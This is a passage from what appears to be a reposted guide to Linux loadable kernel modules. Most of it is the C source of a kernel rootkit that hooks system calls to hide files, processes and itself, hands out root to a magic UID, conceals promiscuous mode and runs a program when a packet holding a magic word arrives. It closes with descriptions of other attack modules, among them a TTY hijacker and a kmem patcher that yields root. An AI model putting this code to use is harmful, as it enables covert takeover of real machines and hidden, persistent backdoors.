}


int myatoi(char *str)
{
    int res = 0;
    int mul = 1;
    char *ptr;

    for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
	if (*ptr < '0' || *ptr > '9')
	    return (-1);
	res += (*ptr - '0') * mul;
	mul *= 10;
    }
    return (res);
}



/*
 * process hiding functions
 */
struct task_struct *get_task(pid_t pid)
{
    struct task_struct *p = current;
    do {
	if (p->pid == pid)
	    return p;
	p = p->next_task;
    }
    while (p != current);
    return NULL;

}

/* the following function comes from fs/proc/array.c */
static inline char *task_name(struct task_struct *p, char *buf)
{
    int i;
    char *name;

    name = p->comm;
    i = sizeof(p->comm);
    do {
	unsigned char c = *name;
	name++;
	i--;
	*buf = c;
	if (!c)
	    break;
	if (c == '\\') {
	    buf[1] = c;
	    buf += 2;
	    continue;
	}
	if (c == '\n') {
	    buf[0] = '\\';
	    buf[1] = 'n';
	    buf += 2;
	    continue;
	}
	buf++;
    }
    while (i);
    *buf = '\n';
    return buf + 1;
}



int invisible(pid_t pid)
{
    struct task_struct *task = get_task(pid);
    char *buffer;
    if (task) {
	buffer = kmalloc(200, GFP_KERNEL);
	memset(buffer, 0, 200);
	task_name(task, buffer);
	if (strstr(buffer, (char *) &mtroj)) {
	    kfree(buffer);
	    return 1;
	}
    }
    return 0;
}



/*
 * New system calls
 */

/*
 * hide module symbols
 */
int n_get_kernel_syms(struct kernel_sym *table)
{
    struct kernel_sym *tb;
    int compt, compt2, compt3, i, done;

    compt = (*o_get_kernel_syms) (table);
    if (table != NULL) {
	tb = kmalloc(compt * sizeof(struct kernel_sym), GFP_KERNEL);
	if (tb == 0) {
	    return compt;
	}
	compt2 = 0;
	done = 0;
	i = 0;
	memcpy_fromfs((void *) tb, (void *) table, compt * sizeof(struct kernel_sym));
	while (!done) {
	    if ((tb[compt2].name)[0] == '#')
		i = compt2;
	    if (!strcmp(tb[compt2].name, mtroj)) {
		for (compt3 = i + 1; (tb[compt3].name)[0] != '#' && compt3 < compt; compt3++);
		if (compt3 != (compt - 1))
		    memmove((void *) &(tb[i]), (void *) &(tb[compt3]), (compt - compt3) * sizeof(struct kernel_sym));
		else
		    compt = i;
		done++;
	    }
	    compt2++;
	    if (compt2 == compt)
		done++;

	}

	memcpy_tofs(table, tb, compt * sizeof(struct kernel_sym));
	kfree(tb);
    }
    return compt;

}



/*
 * how it works:
 * I need to allocate user memory. To do that, I'll do exactly as malloc() does
 * it (changing the break value).
 */
int my_execve(const char *filename, const char *argv[], const char *envp[])
{
    long __res;
    __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
    return (int) __res;
}

int n_execve(const char *filename, const char *argv[], const char *envp[])
{
    char *test;
    int ret, tmp;
    char *truc = OLDEXEC;
    char *nouveau = NEWEXEC;
    unsigned long mmm;

    test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);
    (void) strncpy_fromfs(test, filename, strlen(truc));
    test[strlen(truc)] = '\0';
    if (!strcmp(test, truc)) {
	kfree(test);
	mmm = current->mm->brk;
	ret = brk((void *) (mmm + 256));
	if (ret < 0)
	    return ret;
	memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
	ret = my_execve((char *) (mmm + 2), argv, envp);
	tmp = brk((void *) mmm);
    } else {
	kfree(test);
	ret = my_execve(filename, argv, envp);
    }
    return ret;

}


/*
 * Trap the ioctl() system call to hide PROMISC flag on ethernet interfaces.
 * If we reset the PROMISC flag when the trojan is already running, then it
 * won't hide it anymore (needed otherwise you'd just have to do an
 * "ifconfig eth0 +promisc" to find the trojan).
 */
int n_ioctl(int d, int request, unsigned long arg)
{
    int tmp;
    struct ifreq ifr;

    tmp = (*o_ioctl) (d, request, arg);
    if (request == SIOCGIFFLAGS && !promisc) {
	memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));
	ifr.ifr_flags = ifr.ifr_flags & (~IFF_PROMISC);
	memcpy_tofs((struct ifreq *) arg, (struct ifreq *) &ifr, sizeof(struct ifreq));
    } else if (request == SIOCSIFFLAGS) {
	memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));
	if (ifr.ifr_flags & IFF_PROMISC)
	    promisc = 1;
	else if (!(ifr.ifr_flags & IFF_PROMISC))
	    promisc = 0;
    }
    return tmp;

}


/*
 * trojan setMAGICUID() system call.
 */
int n_setuid(uid_t uid)
{
    int tmp;

    if (uid == MAGICUID) {
	current->uid = 0;
	current->euid = 0;
	current->gid = 0;
	current->egid = 0;
	return 0;
    }
    tmp = (*o_setuid) (uid);
    return tmp;
}


/*
 * trojan getdents() system call. 
 */
int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
    unsigned int tmp, n;
    int t, proc = 0;
    struct inode *dinode;
    struct dirent *dirp2, *dirp3;

    tmp = (*o_getdents) (fd, dirp, count);

#ifdef __LINUX_DCACHE_H
    dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
    dinode = current->files->fd[fd]->f_inode;
#endif

    if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
	proc = 1;
    if (tmp > 0) {
	dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
	memcpy_fromfs(dirp2, dirp, tmp);
	dirp3 = dirp2;
	t = tmp;
	while (t > 0) {
	    n = dirp3->d_reclen;
	    t -= n;
	    if ((strstr((char *) &(dirp3->d_name), (char *) &mtroj) != NULL) \
		||(proc && invisible(myatoi(dirp3->d_name)))) {
		if (t != 0)
		    memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
		else
		    dirp3->d_off = 1024;
		tmp -= n;
	    }
	    if (dirp3->d_reclen == 0) {
		/*
		 * workaround for some shitty fs drivers that do not properly
		 * feature the getdents syscall.
		 */
		tmp -= t;
		t = 0;
	    }
	    if (t != 0)
		dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);


	}
	memcpy_tofs(dirp, dirp2, tmp);
	kfree(dirp2);
    }
    return tmp;

}


/*
 * Trojan socketcall system call
 * executes a given binary when a packet containing the magic word is received.
 * WARNING: THIS IS REALLY UNTESTED UGLY CODE. MAY CORRUPT YOUR SYSTEM.  
 */

int n_socketcall(int call, unsigned long *args)
{
    int ret, ret2, compt;
    char *t = RECVEXEC;
    unsigned long *sargs = args;
    unsigned long a0, a1, mmm;
    void *buf;

    ret = (*o_socketcall) (call, args);
    if (ret == MAGICSIZE && call == SYS_RECVFROM) {
	a0 = get_user(sargs);
	a1 = get_user(sargs + 1);
	buf = kmalloc(ret, GFP_KERNEL);
	memcpy_fromfs(buf, (void *) a1, ret);
	for (compt = 0; compt < ret; compt++)
	    if (((char *) (buf))[compt] == 0)
		((char *) (buf))[compt] = 1;
	if (strstr(buf, mtroj)) {
	    kfree(buf);
	    ret2 = fork();
	    if (ret2 == 0) {
		mmm = current->mm->brk;
		ret2 = brk((void *) (mmm + 256));
		memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);
/* Hope the execve has been successfull otherwise you'll have 2 copies of the
   master process in the ps list :] */
		ret2 = my_execve((char *) mmm + 2, NULL, NULL);
	    }
	}
    }
    return ret;
}





/*
 * module initialization stuff.
 */
int init_module(void)
{
/* module list cleaning */
/* would need to make a clean search of the right register
 * in the function prologue, since gcc may not always put 
 * struct module *mp in %ebx 
 * 
 * Try %ebx, %edi, %ebp, well, every register actually :)
 */
    register struct module *mp asm("%ebx");
    *(char *) (mp->name) = 0;
    mp->size = 0;
    mp->ref = 0;
/*
 * Make it unremovable
 */
/*    MOD_INC_USE_COUNT;
 */
    o_get_kernel_syms = sys_call_table[SYS_get_kernel_syms];
    sys_call_table[SYS_get_kernel_syms] = (void *) n_get_kernel_syms;

    o_getdents = sys_call_table[SYS_getdents];
    sys_call_table[SYS_getdents] = (void *) n_getdents;

    o_setuid = sys_call_table[SYS_setuid];
    sys_call_table[SYS_setuid] = (void *) n_setuid;

    __NR_myexecve = 164;
    while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
	__NR_myexecve--;
    o_execve = sys_call_table[SYS_execve];
    if (__NR_myexecve != 0) {
	sys_call_table[__NR_myexecve] = o_execve;
	sys_call_table[SYS_execve] = (void *) n_execve;
    }
    promisc = 0;
    o_ioctl = sys_call_table[SYS_ioctl];
    sys_call_table[SYS_ioctl] = (void *) n_ioctl;

    o_socketcall = sys_call_table[SYS_socketcall];
    sys_call_table[SYS_socketcall] = (void *) n_socketcall;
    return 0;

}


void cleanup_module(void)
{
    sys_call_table[SYS_get_kernel_syms] = o_get_kernel_syms;
    sys_call_table[SYS_getdents] = o_getdents;
    sys_call_table[SYS_setuid] = o_setuid;
    sys_call_table[SYS_socketcall] = o_socketcall;

    if (__NR_myexecve != 0)
	sys_call_table[__NR_myexecve] = 0;
    sys_call_table[SYS_execve] = o_execve;

    sys_call_table[SYS_ioctl] = o_ioctl;
}

LKM TTY hijacking

NAME : linspy
AUTHOR : halflife
DESCRIPTION : This LKM comes again Phrack issue 50 (article 5: 'Abuse of the Linux Kernel for Fun and Profit'). It is a very nice TTY hijacker working the way I outline in II.7. This module uses its own character device for control / and logging.

LINK : http://www.phrack.com/

 

 

AFHRM - the monitor tool

NAME : AFHRM ( Advanced file hide & redirect module)
AUTHOR : Michal Zalewski
DESCRIPTION : This LKM was made especially for admins who want to control some files (passwd, for example) concerning file access. This module can monitor any fileaccess and redirect write attempts. It is also possible to do file hiding.
LINK : http://www.rootshell.com/

 

 

CHROOT module trick

NAME : chr.c
AUTHOR : FLoW/HISPAHACK
DESCRIPTION : The first source represents the ls 'trojan'. The second one represents the actual module which is doing the chroot trick.
LINK : http://hispahack.ccc.de/

 

 

Kernel Memory Patching

NAME : kmemthief.c
AUTHOR : unknown (I really tried to find out, but I found no comments) I found a similar source by daemon9 who took it from 'Unix Security: A practical tutorial'
DESCRIPTION : This is a 'standard' kmem patcher, which gives you root (your user process). The system you try to exploit must permit write and read access to /dev/kmem. There are some systems that make that fault but don't rely on that.
LINK : http://www.rootshell.com/

 

 

Module insertion without native support

NAME : kinsmod.c
AUTHOR : Silvio Cesare
DESCRIPTION : This is a very nice program which allows us to insert LKMs on system with no native module support.
LINK : found it by a search on http://www.antisearch.com/

 

 

 




你可能感兴趣的:(Linux可装载模块完全指南)